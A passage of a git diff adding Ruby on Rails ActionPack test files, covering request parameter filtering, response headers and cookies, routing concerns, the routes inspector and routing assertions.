+ assert_equal "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
+ end
+
+ test "filtered_path should preserve duplication of keys in query string" do
+ request = stub_request('QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
+ 'PATH_INFO' => '/authenticate',
+ 'action_dispatch.parameter_filter' => [:secret])
+
+ path = request.filtered_path
+ assert_equal "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
+ end
+
+ test "filtered_path should ignore searchparts" do
+ request = stub_request('QUERY_STRING' => "secret",
+ 'PATH_INFO' => '/authenticate',
+ 'action_dispatch.parameter_filter' => [:secret])
+
+ path = request.filtered_path
+ assert_equal "/authenticate?secret", path
+ end
+
+ test "original_fullpath returns ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+
+ test "original_url returns url built using ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
+ 'HTTP_HOST' => "example.org",
+ 'rack.url_scheme' => "http")
+
+ url = request.original_url
+ assert_equal "http://example.org/foo?bar", url
+ end
+
+ test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+ request = stub_request('PATH_INFO' => "/foo",
+ 'QUERY_STRING' => "bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+
+ test "if_none_match_etags none" do
+ request = stub_request
+
+ assert_equal nil, request.if_none_match
+ assert_equal [], request.if_none_match_etags
+ assert !request.etag_matches?("foo")
+ assert !request.etag_matches?(nil)
+ end
+
+ test "if_none_match_etags single" do
+ header = 'the-etag'
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal [header], request.if_none_match_etags
+ assert request.etag_matches?("the-etag")
+ end
+
+ test "if_none_match_etags quoted single" do
+ header = '"the-etag"'
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal ['the-etag'], request.if_none_match_etags
+ assert request.etag_matches?("the-etag")
+ end
+
+ test "if_none_match_etags multiple" do
+ header = 'etag1, etag2, "third etag", "etag4"'
+ expected = ['etag1', 'etag2', 'third etag', 'etag4']
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal expected, request.if_none_match_etags
+ expected.each do |etag|
+ assert request.etag_matches?(etag), etag
+ end
+ end
+
+protected
+
+ def stub_request(env = {})
+ ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
+ @trusted_proxies ||= nil
+ ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
+ tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
+ ip_app.call(env)
+ ActionDispatch::Http::URL.tld_length = tld_length
+ ActionDispatch::Request.new(env)
+ end
+end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
new file mode 100644
index 0000000..74f5253
--- /dev/null
+++ b/actionpack/test/dispatch/response_test.rb
@@ -0,0 +1,293 @@
+require 'abstract_unit'
+
+class ResponseTest < ActiveSupport::TestCase
+ def setup
+ @response = ActionDispatch::Response.new
+ end
+
+ def test_can_wait_until_commit
+ t = Thread.new {
+ @response.await_commit
+ }
+ @response.commit!
+ assert @response.committed?
+ assert t.join(0.5)
+ end
+
+ def test_stream_close
+ @response.stream.close
+ assert @response.stream.closed?
+ end
+
+ def test_stream_write
+ @response.stream.write "foo"
+ @response.stream.close
+ assert_equal "foo", @response.body
+ end
+
+ def test_write_after_close
+ @response.stream.close
+
+ e = assert_raises(IOError) do
+ @response.stream.write "omg"
+ end
+ assert_equal "closed stream", e.message
+ end
+
+ def test_response_body_encoding
+ body = ["hello".encode(Encoding::UTF_8)]
+ response = ActionDispatch::Response.new 200, {}, body
+ assert_equal Encoding::UTF_8, response.body.encoding
+ end
+
+ test "simple output" do
+ @response.body = "Hello, World!"
+
+ status, headers, body = @response.to_a
+ assert_equal 200, status
+ assert_equal({
+ "Content-Type" => "text/html; charset=utf-8"
+ }, headers)
+
+ parts = []
+ body.each { |part| parts << part }
+ assert_equal ["Hello, World!"], parts
+ end
+
+ test "status handled properly in initialize" do
+ assert_equal 200, ActionDispatch::Response.new('200 OK').status
+ end
+
+ test "utf8 output" do
+ @response.body = [1090, 1077, 1089, 1090].pack("U*")
+
+ status, headers, _ = @response.to_a
+ assert_equal 200, status
+ assert_equal({
+ "Content-Type" => "text/html; charset=utf-8"
+ }, headers)
+ end
+
+ test "content type" do
+ [204, 304].each do |c|
+ @response.status = c.to_s
+ _, headers, _ = @response.to_a
+ assert !headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
+ end
+
+ [200, 302, 404, 500].each do |c|
+ @response.status = c.to_s
+ _, headers, _ = @response.to_a
+ assert headers.has_key?("Content-Type"), "#{c} did not have Content-Type header"
+ end
+ end
+
+ test "does not include Status header" do
+ @response.status = "200 OK"
+ _, headers, _ = @response.to_a
+ assert !headers.has_key?('Status')
+ end
+
+ test "response code" do
+ @response.status = "200 OK"
+ assert_equal 200, @response.response_code
+
+ @response.status = "200"
+ assert_equal 200, @response.response_code
+
+ @response.status = 200
+ assert_equal 200, @response.response_code
+ end
+
+ test "code" do
+ @response.status = "200 OK"
+ assert_equal "200", @response.code
+
+ @response.status = "200"
+ assert_equal "200", @response.code
+
+ @response.status = 200
+ assert_equal "200", @response.code
+ end
+
+ test "message" do
+ @response.status = "200 OK"
+ assert_equal "OK", @response.message
+
+ @response.status = "200"
+ assert_equal "OK", @response.message
+
+ @response.status = 200
+ assert_equal "OK", @response.message
+ end
+
+ test "cookies" do
+ @response.set_cookie("user_name", :value => "david", :path => "/")
+ status, headers, body = @response.to_a
+ assert_equal "user_name=david; path=/", headers["Set-Cookie"]
+ assert_equal({"user_name" => "david"}, @response.cookies)
+
+ @response.set_cookie("login", :value => "foo&bar", :path => "/", :expires => Time.utc(2005, 10, 10,5))
+ status, headers, body = @response.to_a
+ assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000", headers["Set-Cookie"]
+ assert_equal({"login" => "foo&bar", "user_name" => "david"}, @response.cookies)
+
+ @response.delete_cookie("login")
+ status, headers, body = @response.to_a
+ assert_equal({"user_name" => "david", "login" => nil}, @response.cookies)
+ end
+
+ test "read cache control" do
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.cache_control[:public] = true
+ response.etag = '123'
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('"202cb962ac59075b964b07152d234b70"', resp.etag)
+ assert_equal({:public => true}, resp.cache_control)
+
+ assert_equal('public', resp.headers['Cache-Control'])
+ assert_equal('"202cb962ac59075b964b07152d234b70"', resp.headers['ETag'])
+ end
+
+ test "read charset and content type" do
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.charset = 'utf-16'
+ response.content_type = Mime::XML
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('utf-16', resp.charset)
+ assert_equal(Mime::XML, resp.content_type)
+
+ assert_equal('application/xml; charset=utf-16', resp.headers['Content-Type'])
+ end
+
+ test "read content type without charset" do
+ original = ActionDispatch::Response.default_charset
+ begin
+ ActionDispatch::Response.default_charset = 'utf-16'
+ resp = ActionDispatch::Response.new(200, { "Content-Type" => "text/xml" })
+ assert_equal('utf-16', resp.charset)
+ ensure
+ ActionDispatch::Response.default_charset = original
+ end
+ end
+
+ test "read x_frame_options, x_content_type_options and x_xss_protection" do
+ begin
+ ActionDispatch::Response.default_headers = {
+ 'X-Frame-Options' => 'DENY',
+ 'X-Content-Type-Options' => 'nosniff',
+ 'X-XSS-Protection' => '1;',
+ 'X-UA-Compatible' => 'chrome=1'
+ }
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('DENY', resp.headers['X-Frame-Options'])
+ assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
+ assert_equal('1;', resp.headers['X-XSS-Protection'])
+ assert_equal('chrome=1', resp.headers['X-UA-Compatible'])
+ ensure
+ ActionDispatch::Response.default_headers = nil
+ end
+ end
+
+ test "read custom default_header" do
+ begin
+ ActionDispatch::Response.default_headers = {
+ 'X-XX-XXXX' => 'Here is my phone number'
+ }
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
+ ensure
+ ActionDispatch::Response.default_headers = nil
+ end
+ end
+end
+
+class ResponseIntegrationTest < ActionDispatch::IntegrationTest
+ def app
+ @app
+ end
+
+ test "response cache control from railsish app" do
+ @app = lambda { |env|
+ ActionDispatch::Response.new.tap { |resp|
+ resp.cache_control[:public] = true
+ resp.etag = '123'
+ resp.body = 'Hello'
+ }.to_a
+ }
+
+ get '/'
+ assert_response :success
+
+ assert_equal('public', @response.headers['Cache-Control'])
+ assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers['ETag'])
+
+ assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag)
+ assert_equal({:public => true}, @response.cache_control)
+ end
+
+ test "response cache control from rackish app" do
+ @app = lambda { |env|
+ [200,
+ {'ETag' => '"202cb962ac59075b964b07152d234b70"',
+ 'Cache-Control' => 'public'}, ['Hello']]
+ }
+
+ get '/'
+ assert_response :success
+
+ assert_equal('public', @response.headers['Cache-Control'])
+ assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers['ETag'])
+
+ assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag)
+ assert_equal({:public => true}, @response.cache_control)
+ end
+
+ test "response charset and content type from railsish app" do
+ @app = lambda { |env|
+ ActionDispatch::Response.new.tap { |resp|
+ resp.charset = 'utf-16'
+ resp.content_type = Mime::XML
+ resp.body = 'Hello'
+ }.to_a
+ }
+
+ get '/'
+ assert_response :success
+
+ assert_equal('utf-16', @response.charset)
+ assert_equal(Mime::XML, @response.content_type)
+
+ assert_equal('application/xml; charset=utf-16', @response.headers['Content-Type'])
+ end
+
+ test "response charset and content type from rackish app" do
+ @app = lambda { |env|
+ [200,
+ {'Content-Type' => 'application/xml; charset=utf-16'},
+ ['Hello']]
+ }
+
+ get '/'
+ assert_response :success
+
+ assert_equal('utf-16', @response.charset)
+ assert_equal(Mime::XML, @response.content_type)
+
+ assert_equal('application/xml; charset=utf-16', @response.headers['Content-Type'])
+ end
+end
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
new file mode 100644
index 0000000..9f37701
--- /dev/null
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -0,0 +1,119 @@
+require 'abstract_unit'
+
+class RoutingConcernsTest < ActionDispatch::IntegrationTest
+ class Reviewable
+ def self.call(mapper, options = {})
+ mapper.resources :reviews, options
+ end
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ concern :commentable do |options|
+ resources :comments, options
+ end
+
+ concern :image_attachable do
+ resources :images, only: :index
+ end
+
+ concern :reviewable, Reviewable
+
+ resources :posts, concerns: [:commentable, :image_attachable, :reviewable] do
+ resource :video, concerns: :commentable do
+ concerns :reviewable, as: :video_reviews
+ end
+ end
+
+ resource :picture, concerns: :commentable do
+ resources :posts, concerns: :commentable
+ end
+
+ scope "/videos" do
+ concerns :commentable, except: :destroy
+ end
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ def test_accessing_concern_from_resources
+ get "/posts/1/comments"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/comments", post_comments_path(post_id: 1)
+ end
+
+ def test_accessing_concern_from_resource
+ get "/picture/comments"
+ assert_equal "200", @response.code
+ assert_equal "/picture/comments", picture_comments_path
+ end
+
+ def test_accessing_concern_from_nested_resource
+ get "/posts/1/video/comments"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/video/comments", post_video_comments_path(post_id: 1)
+ end
+
+ def test_accessing_concern_from_nested_resources
+ get "/picture/posts/1/comments"
+ assert_equal "200", @response.code
+ assert_equal "/picture/posts/1/comments", picture_post_comments_path(post_id: 1)
+ end
+
+ def test_accessing_concern_from_resources_with_more_than_one_concern
+ get "/posts/1/images"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/images", post_images_path(post_id: 1)
+ end
+
+ def test_accessing_concern_from_resources_using_only_option
+ get "/posts/1/image/1"
+ assert_equal "404", @response.code
+ end
+
+ def test_accessing_callable_concern_
+ get "/posts/1/reviews/1"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/reviews/1", post_review_path(post_id: 1, id: 1)
+ end
+
+ def test_callable_concerns_accept_options
+ get "/posts/1/video/reviews/1"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/video/reviews/1", post_video_video_review_path(post_id: 1, id: 1)
+ end
+
+ def test_accessing_concern_from_a_scope
+ get "/videos/comments"
+ assert_equal "200", @response.code
+ end
+
+ def test_concerns_accept_options
+ delete "/videos/comments/1"
+ assert_equal "404", @response.code
+ end
+
+ def test_with_an_invalid_concern_name
+ e = assert_raise ArgumentError do
+ ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ resources :posts, concerns: :foo
+ end
+ end
+ end
+
+ assert_equal "No concern named foo was found!", e.message
+ end
+
+ def test_concerns_executes_block_in_context_of_current_mapper
+ mapper = ActionDispatch::Routing::Mapper.new(ActionDispatch::Routing::RouteSet.new)
+ mapper.concern :test_concern do
+ resources :things
+ return self
+ end
+
+ assert_equal mapper, mapper.concerns(:test_concern)
+ end
+end
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
new file mode 100644
index 0000000..234ae57
--- /dev/null
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -0,0 +1,239 @@
+require 'abstract_unit'
+require 'rails/engine'
+require 'action_dispatch/routing/inspector'
+
+module ActionDispatch
+ module Routing
+ class RoutesInspectorTest < ActiveSupport::TestCase
+ def setup
+ @set = ActionDispatch::Routing::RouteSet.new
+ app = ActiveSupport::OrderedOptions.new
+ app.config = ActiveSupport::OrderedOptions.new
+ app.config.assets = ActiveSupport::OrderedOptions.new
+ app.config.assets.prefix = '/sprockets'
+ Rails.stubs(:application).returns(app)
+ Rails.stubs(:env).returns("development")
+ end
+
+ def draw(options = {}, &block)
+ @set.draw(&block)
+ inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes)
+ inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options[:filter]).split("\n")
+ end
+
+ def test_json_regexp_converter
+ @set.draw do
+ get '/cart', :to => 'cart#show'
+ end
+ route = ActionDispatch::Routing::RouteWrapper.new(@set.routes.first)
+ assert_equal "^\\/cart(?:\\.([^\\/.?]+))?$", route.json_regexp
+ end
+
+ def test_displaying_routes_for_engines
+ engine = Class.new(Rails::Engine) do
+ def self.inspect
+ "Blog::Engine"
+ end
+ end
+ engine.routes.draw do
+ get '/cart', :to => 'cart#show'
+ end
+
+ output = draw do
+ get '/custom/assets', :to => 'custom_assets#show'
+ mount engine => "/blog", :as => "blog"
+ end
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ "custom_assets GET /custom/assets(.:format) custom_assets#show",
+ " blog /blog Blog::Engine",
+ "",
+ "Routes for Blog::Engine:",
+ "cart GET /cart(.:format) cart#show"
+ ], output
+ end
+
+ def test_cart_inspect
+ output = draw do
+ get '/cart', :to => 'cart#show'
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ "cart GET /cart(.:format) cart#show"
+ ], output
+ end
+
+ def test_inspect_shows_custom_assets
+ output = draw do
+ get '/custom/assets', :to => 'custom_assets#show'
+ end
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ "custom_assets GET /custom/assets(.:format) custom_assets#show"
+ ], output
+ end
+
+ def test_inspect_routes_shows_resources_route
+ output = draw do
+ resources :articles
+ end
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ " articles GET /articles(.:format) articles#index",
+ " POST /articles(.:format) articles#create",
+ " new_article GET /articles/new(.:format) articles#new",
+ "edit_article GET /articles/:id/edit(.:format) articles#edit",
+ " article GET /articles/:id(.:format) articles#show",
+ " PATCH /articles/:id(.:format) articles#update",
+ " PUT /articles/:id(.:format) articles#update",
+ " DELETE /articles/:id(.:format) articles#destroy"
+ ], output
+ end
+
+ def test_inspect_routes_shows_root_route
+ output = draw do
+ root :to => 'pages#main'
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ "root GET / pages#main"
+ ], output
+ end
+
+ def test_inspect_routes_shows_dynamic_action_route
+ output = draw do
+ get 'api/:action' => 'api'
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /api/:action(.:format) api#:action"
+ ], output
+ end
+
+ def test_inspect_routes_shows_controller_and_action_only_route
+ output = draw do
+ get ':controller/:action'
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /:controller/:action(.:format) :controller#:action"
+ ], output
+ end
+
+ def test_inspect_routes_shows_controller_and_action_route_with_constraints
+ output = draw do
+ get ':controller(/:action(/:id))', :id => /\d+/
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+ ], output
+ end
+
+ def test_rake_routes_shows_route_with_defaults
+ output = draw do
+ get 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
+ ], output
+ end
+
+ def test_rake_routes_shows_route_with_constraints
+ output = draw do
+ get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+ ], output
+ end
+
+ class RackApp
+ def self.call(env)
+ end
+ end
+
+ def test_rake_routes_shows_route_with_rack_app
+ output = draw do
+ get 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
+ ], output
+ end
+
+ def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
+ constraint = Class.new do
+ def inspect
+ "( my custom constraint )"
+ end
+ end
+
+ output = draw do
+ scope :constraint => constraint.new do
+ mount RackApp => '/foo'
+ end
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
+ ], output
+ end
+
+ def test_rake_routes_dont_show_app_mounted_in_assets_prefix
+ output = draw do
+ get '/sprockets' => RackApp
+ end
+ assert_no_match(/RackApp/, output.first)
+ assert_no_match(/\/sprockets/, output.first)
+ end
+
+ def test_redirect
+ output = draw do
+ get "/foo" => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
+ get "/bar" => redirect(path: "/foo/bar", status: 307)
+ get "/foobar" => redirect{ "/foo/bar" }
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+ " bar GET /bar(.:format) redirect(307, path: /foo/bar)",
+ "foobar GET /foobar(.:format) redirect(301)"
+ ], output
+ end
+
+ def test_routes_can_be_filtered
+ output = draw(filter: 'posts') do
+ resources :articles
+ resources :posts
+ end
+
+ assert_equal [" Prefix Verb URI Pattern Controller#Action",
+ " posts GET /posts(.:format) posts#index",
+ " POST /posts(.:format) posts#create",
+ " new_post GET /posts/new(.:format) posts#new",
+ "edit_post GET /posts/:id/edit(.:format) posts#edit",
+ " post GET /posts/:id(.:format) posts#show",
+ " PATCH /posts/:id(.:format) posts#update",
+ " PUT /posts/:id(.:format) posts#update",
+ " DELETE /posts/:id(.:format) posts#destroy"], output
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb
new file mode 100644
index 0000000..d57b1a5
--- /dev/null
+++ b/actionpack/test/dispatch/routing/route_set_test.rb
@@ -0,0 +1,86 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Routing
+ class RouteSetTest < ActiveSupport::TestCase
+ class SimpleApp
+ def initialize(response)
+ @response = response
+ end
+
+ def call(env)
+ [ 200, { 'Content-Type' => 'text/plain' }, [response] ]
+ end
+ end
+
+ setup do
+ @set = RouteSet.new
+ end
+
+ test "url helpers are added when route is added" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_raises NoMethodError do
+ assert_equal '/bar', url_helpers.bar_path
+ end
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ get 'bar', to: SimpleApp.new('bar#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_equal '/bar', url_helpers.bar_path
+ end
+
+ test "url helpers are updated when route is updated" do
+ draw do
+ get 'bar', to: SimpleApp.new('bar#index'), as: :bar
+ end
+
+ assert_equal '/bar', url_helpers.bar_path
+
+ draw do
+ get 'baz', to: SimpleApp.new('baz#index'), as: :bar
+ end
+
+ assert_equal '/baz', url_helpers.bar_path
+ end
+
+ test "url helpers are removed when route is removed" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ get 'bar', to: SimpleApp.new('bar#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_equal '/bar', url_helpers.bar_path
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_raises NoMethodError do
+ assert_equal '/bar', url_helpers.bar_path
+ end
+ end
+
+ private
+ def clear!
+ @set.clear!
+ end
+
+ def draw(&block)
+ @set.draw(&block)
+ end
+
+ def url_helpers
+ @set.url_helpers
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
new file mode 100644
index 0000000..aea4489
--- /dev/null
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -0,0 +1,115 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class SecureArticlesController < ArticlesController; end
+class BlockArticlesController < ArticlesController; end
+class QueryArticlesController < ArticlesController; end
+
+class RoutingAssertionsTest < ActionController::TestCase
+
+ def setup
+ @routes = ActionDispatch::Routing::RouteSet.new
+ @routes.draw do
+ resources :articles
+
+ scope 'secure', :constraints => { :protocol => 'https://' } do
+ resources :articles, :controller => 'secure_articles'
+ end
+
+ scope 'block', :constraints => lambda { |r| r.ssl? } do
+ resources :articles, :controller => 'block_articles'
+ end
+
+ scope 'query', :constraints => lambda { |r| r.params[:use_query] == 'true' } do
+ resources :articles, :controller => 'query_articles'
+ end
+ end
+ end
+
+ def test_assert_generates
+ assert_generates('/articles', { :controller => 'articles', :action => 'index' })
+ assert_generates('/articles/1', { :controller => 'articles', :action => 'show', :id => '1' })
+ end
+
+ def test_assert_generates_with_defaults
+ assert_generates('/articles/1/edit', { :controller => 'articles', :action => 'edit' }, { :id => '1' })
+ end
+
+ def test_assert_generates_with_extras
+ assert_generates('/articles', { :controller => 'articles', :action => 'index', :page => '1' }, {}, { :page => '1' })
+ end
+
+ def test_assert_recognizes
+ assert_recognizes({ :controller => 'articles', :action => 'index' }, '/articles')
+ assert_recognizes({ :controller => 'articles', :action => 'show', :id => '1' }, '/articles/1')
+ end
+
+ def test_assert_recognizes_with_extras
+ assert_recognizes({ :controller => 'articles', :action => 'index', :page => '1' }, '/articles', { :page => '1' })
+ end
+
+ def test_assert_recognizes_with_method
+ assert_recognizes({ :controller => 'articles', :action => 'create' }, { :path => '/articles', :method => :post })
+ assert_recognizes({ :controller => 'articles', :action => 'update', :id => '1' }, { :path => '/articles/1', :method => :put })
+ end
+
+ def test_assert_recognizes_with_hash_constraint
+ assert_raise(Assertion) do
+ assert_recognizes({ :controller => 'secure_articles', :action => 'index' }, 'http://test.host/secure/articles')
+ end
+ assert_recognizes({ :controller => 'secure_articles', :action => 'index', :protocol => 'https://' }, 'https://test.host/secure/articles')
+ end
+
+ def test_assert_recognizes_with_block_constraint
+ assert_raise(Assertion) do
+ assert_recognizes({ :controller => 'block_articles', :action => 'index' }, 'http://test.host/block/articles')
+ end
+ assert_recognizes({ :controller => 'block_articles', :action => 'index' }, 'https://test.host/block/articles')
+ end
+
+ def test_assert_recognizes_with_query_constraint
+ assert_raise(Assertion) do
+ assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'false' }, '/query/articles', { :use_query => 'false' })
+ end
+ assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'true' }, '/query/articles', { :use_query => 'true' })
+ end
+
+ def test_assert_routing
+ assert_routing('/articles', :controller => 'articles', :action => 'index')
+ end
+
+ def test_assert_routing_with_defaults
+ assert_routing('/articles/1/edit', { :controller => 'articles', :action => 'edit', :id => '1' }, { :id => '1' })
+ end
+
+ def test_assert_routing_with_extras
+ assert_routing('/articles', { :controller => 'articles', :action => 'index', :page => '1' }, { }, { :page => '1' })
+ end
+
+ def test_assert_routing_with_hash_constraint
+ assert_raise(Assertion) do
+ assert_routing('http://test.host/secure/articles', { :controller => 'secure_articles', :action => 'index' })
+ end
+ assert_routing('https://test.host/secure/articles', { :controller => 'secure_articles', :action => 'index', :protocol => 'https://' })
+ end
+
+ def test_assert_routing_with_block_constraint
+ assert_raise(Assertion) do
+ assert_routing('http://test.host/block/articles', { :controller => 'block_articles', :action => 'index' })
+ end
+ assert_routing('https://test.host/block/articles', { :controller => 'block_articles', :action => 'index' })
+ end
+
+ def test_with_routing
+ with_routing do |routes|
+ routes.draw do
+ resources :articles, :path => 'artikel'
+ end
+
+ assert_routing('/artikel', :controller => 'articles', :action => 'index')
+ assert_raise(Assertion) do
+ assert_routing('/articles', { :controller => 'articles', :action => 'index' })
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
new file mode 100644
index 0000000..5b42ca0
--- /dev/null
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -0,0 +1,3596 @@
+# encoding: UTF-8
+require 'erb'
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class TestRoutingMapper < ActionDispatch::IntegrationTest
+ SprocketsApp = lambda { |env|
+ [200, {"Content-Type" => "text/html"}, ["javascripts"]]
+ }
+
+ class IpRestrictor
+ def self.matches?(request)
+ request.ip =~ /192\.168\.1\.1\d\d/
+ end
+ end
+
+ class YoutubeFavoritesRedirector
+ def self.call(params, request)
+ "http://www.youtube.com/watch?v=#{params[:youtube_id]}"
+ end
+ end
+
+ def test_logout
+ draw do
+ controller :sessions do
+ delete 'logout' => :destroy
+ end
+ end
+
+ delete '/logout'
+ assert_equal 'sessions#destroy', @response.body
+
+ assert_equal '/logout', logout_path
+ assert_equal '/logout', url_for(:controller => 'sessions', :action => 'destroy', :only_path => true)
+ end
+
+ def test_login
+ draw do
+ default_url_options :host => "rubyonrails.org"
+
+ controller :sessions do
+ get 'login' => :new
+ post 'login' => :create
+ end
+ end
+
+ get '/login'
+ assert_equal 'sessions#new', @response.body
+ assert_equal '/login', login_path
+
+ post '/login'
+ assert_equal 'sessions#create', @response.body
+
+ assert_equal '/login', url_for(:controller => 'sessions', :action => 'create', :only_path => true)
+ assert_equal '/login', url_for(:controller => 'sessions', :action => 'new', :only_path => true)
+
+ assert_equal 'http://rubyonrails.org/login', url_for(:controller => 'sessions', :action => 'create')
+ assert_equal 'http://rubyonrails.org/login', login_url
+ end
+
+ def test_login_redirect
+ draw do
+ get 'account/login', :to => redirect("/login")
+ end
+
+ get '/account/login'
+ verify_redirect 'http://www.example.com/login'
+ end
+
+ def test_logout_redirect_without_to
+ draw do
+ get 'account/logout' => redirect("/logout"), :as => :logout_redirect
+ end
+
+ assert_equal '/account/logout', logout_redirect_path
+ get '/account/logout'
+ verify_redirect 'http://www.example.com/logout'
+ end
+
+ def test_namespace_redirect
+ draw do
+ namespace :private do
+ root :to => redirect('/private/index')
+ get "index", :to => 'private#index'
+ end
+ end
+
+ get '/private'
+ verify_redirect 'http://www.example.com/private/index'
+ end
+
+ def test_namespace_with_controller_segment
+ assert_raise(ArgumentError) do
+ draw do
+ namespace :admin do
+ get '/:controller(/:action(/:id(.:format)))'
+ end
+ end
+ end
+ end
+
+ def test_session_singleton_resource
+ draw do
+ resource :session do
+ get :create
+ post :reset
+ end
+ end
+
+ get '/session'
+ assert_equal 'sessions#create', @response.body
+ assert_equal '/session', session_path
+
+ post '/session'
+ assert_equal 'sessions#create', @response.body
+
+ put '/session'
+ assert_equal 'sessions#update', @response.body
+
+ delete '/session'
+ assert_equal 'sessions#destroy', @response.body
+
+ get '/session/new'
+ assert_equal 'sessions#new', @response.body
+ assert_equal '/session/new', new_session_path
+
+ get '/session/edit'
+ assert_equal 'sessions#edit', @response.body
+ assert_equal '/session/edit', edit_session_path
+
+ post '/session/reset'
+ assert_equal 'sessions#reset', @response.body
+ assert_equal '/session/reset', reset_session_path
+ end
+
+ def test_session_info_nested_singleton_resource
+ draw do
+ resource :session do
+ resource :info
+ end
+ end
+
+ get '/session/info'
+ assert_equal 'infos#show', @response.body
+ assert_equal '/session/info', session_info_path
+ end
